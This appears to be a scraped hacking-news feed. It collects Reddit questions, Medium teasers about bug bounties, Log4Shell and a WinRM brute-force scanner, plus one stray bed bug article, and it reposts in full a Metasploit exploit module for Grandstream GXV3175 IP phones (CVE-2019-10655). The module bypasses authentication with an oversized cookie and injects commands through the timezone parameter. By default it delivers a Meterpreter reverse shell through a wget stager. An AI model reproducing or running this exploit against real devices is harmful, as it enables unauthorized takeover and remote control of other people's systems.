hacking: security in practice
Hacking my own iPhone

If I want to try hack into my own iPhone to see if I can get into it what is the best software to attempt this?

submitted by /u/Interesting_Stop_935
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Enterprises Are Sailing Into a Perfect Storm of Cloud Risk

Policy as code and other techniques can help enterprises steer clear of the dangers that have befallen otherwise sophisticated cloud customers.

___________________________
@hacking_Attack
@Hacking_Video

Early bed bug stains on sheets
https://medium.com/@ummeh5094/early-bed-bug-stains-on-sheets-f31f28877521?source=rss------bug_bounty-5

Bedbugs are a real threat to your sleep quality. These small, oval, and brown animals at night eat our blood at night. If you wake up with…Continue reading on Medium » (https://medium.com/@ummeh5094/early-bed-bug-stains-on-sheets-f31f28877521?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Coletando parâmetros com o BURP SUITE!
https://guaxi.medium.com/coletando-par%C3%A2metros-com-o-burp-suite-ae89d1d7fec2?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

A fase de reconhecimento é a mais importante enquanto estamos analisando um “alvo”, e a coleta de parâmetros pode mudar o rumo do seu…Continue reading on Medium » (https://guaxi.medium.com/coletando-par%C3%A2metros-com-o-burp-suite-ae89d1d7fec2?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty Methodology — Bug Hunting Checklist(PART-2)

Hello people, it’s me again. I apologize for being late about the second part. I had some examinations going on and have been busy for the…Continue reading on Medium »
Read more...

Facebook room deep linking vulnerability, allow malicious user to know the code for anyone’s…

Title Facebook room deep linking vulnerability, allow malicious user to know the code for anyone’s meeting.Continue reading on Medium »
Read more...

My First Blind XSS

DisclaimerContinue reading on Medium »
Read more...

Early bed bug stains on sheets

Bedbugs are a real threat to your sleep quality. These small, oval, and brown animals at night eat our blood at night. If you wake up with…Continue reading on Medium »
Read more...

Coletando parâmetros com o BURP SUITE!

A fase de reconhecimento é a mais importante enquanto estamos analisando um “alvo”, e a coleta de parâmetros pode mudar o rumo do seu…Continue reading on Medium »
Read more...

Exploit Collector
Grandstream GXV3175 Unauthenticated Command Execution

https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png This Metasploit module exploits a command injection vulnerability in Grandstream GXV3175 IP multimedia phones. The settimezone action does not validate input in the timezone parameter allowing injection of arbitrary commands. A buffer overflow in the phonecookie cookie parsing allows authentication to be bypassed by providing an alphanumeric cookie 93 characters in length. This module was tested successfully on Grandstream GXV3175v2 hardware revision V2.6A with firmware version 1.0.1.19.

MD5 | d0714d342ba12f124e7b2588f1b2bde6Download ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

HttpFingerprint = { pattern: [ /Multimedia Phone/ ] }.freeze

def initialize(info = {})
super(
update_info(
info,
'Name' => "Grandstream GXV3175 'settimezone' Unauthenticated Command Execution",
'Description' => %q{
This module exploits a command injection vulnerability in Grandstream GXV3175
IP multimedia phones. The 'settimezone' action does not validate input in the
'timezone' parameter allowing injection of arbitrary commands.

A buffer overflow in the 'phonecookie' cookie parsing allows authentication
to be bypassed by providing an alphanumeric cookie 93 characters in length.

This module was tested successfully on Grandstream GXV3175v2
hardware revision V2.6A with firmware version 1.0.1.19.
},
'Author' => [
'alhazred', # Command injection vulnerability discovery and exploit
'Brendan Scarvell', # Auth bypass discovery
'bcoles' # Metasploit
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'References' => [
[ 'CVE', '2019-10655' ],
[ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=23920' ],
[ 'URL', 'https://github.com/dirtyfilthy/gxv3175-remote-code-exec/blob/master/modules/exploits/linux/http/grandstream_gxv3175_cmd_exec.rb' ]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'DisclosureDate' => '2016-09-01',
'Privileged' => true,
'Arch' => ARCH_ARMLE,
'DefaultOptions' => {
'PrependFork' => true,
'MeterpreterTryToFork' => true,
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'wget'
},
'CmdStagerFlavor' => %w[wget],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0
)
)
end

def check
res = send_request_cgi(
'uri' => '/manager',
'cookie' => "phonecookie=\"#{rand_text_alpha(93)}\"",
'vars_get' => {
'action' => 'settimezone',
'timezone' => ''
}
)

if res && res.code == 200 && res.body.to_s.include?('Response=Success')
return CheckCode::Detected('phonecookie authentication bypassed successfully.')
end

CheckCode::Safe
end

def execute_command(cmd, _opts)
res = send_request_cgi(
'uri' => '/manager',
'cookie' => "phonecookie=\"#{rand_text_alpha(93)}\"",
'vars_get' => {
'action' => 'settimezone',
'timezone' => "`#{cmd}`"
}
)
unless res
fail_with(Failure::Unreachable, 'Connection failed')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
end
unless res.body.to_s.include?('Response=Success')
fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
end
end

def exploit
execute_cmdstager(
linemax: 220, # 255 minus URL encoding
background: true
)
end
end Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VMware vCenter Server Unauthenticated Log4Shell JNDI Injection Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Log4j RCE When Remote Class File Won’t Load (Newer Java Versions)

So you might have heard of the log4j vulnerability (lol). If you’ve read the initial proof of concepts/general information that rushed out…Continue reading on Medium »
Read more...

What are good places to practice pen testing?
https://www.reddit.com/r/Pentesting/comments/s8toe5/what_are_good_places_to_practice_pen_testing/

I don’t have much experience with it and I can’t run multiple VMware’s at once. Ik about hack the box but I want to know if there’s anywhere else I can go to practice. submitted by /u/YallCrazyMan (https://www.reddit.com/user/YallCrazyMan)
[link] (https://www.reddit.com/r/Pentesting/comments/s8toe5/what_are_good_places_to_practice_pen_testing/) [comments] (https://www.reddit.com/r/Pentesting/comments/s8toe5/what_are_good_places_to_practice_pen_testing/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
WinRM_Brute_Scanner Guide

https://cdn-images-1.medium.com/max/626/0*rPnpzwcBRu-ctq37.jpg
WinRM_Brute_Scanner.ps1 allows you to scan and brute force the WinRM service remotely.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video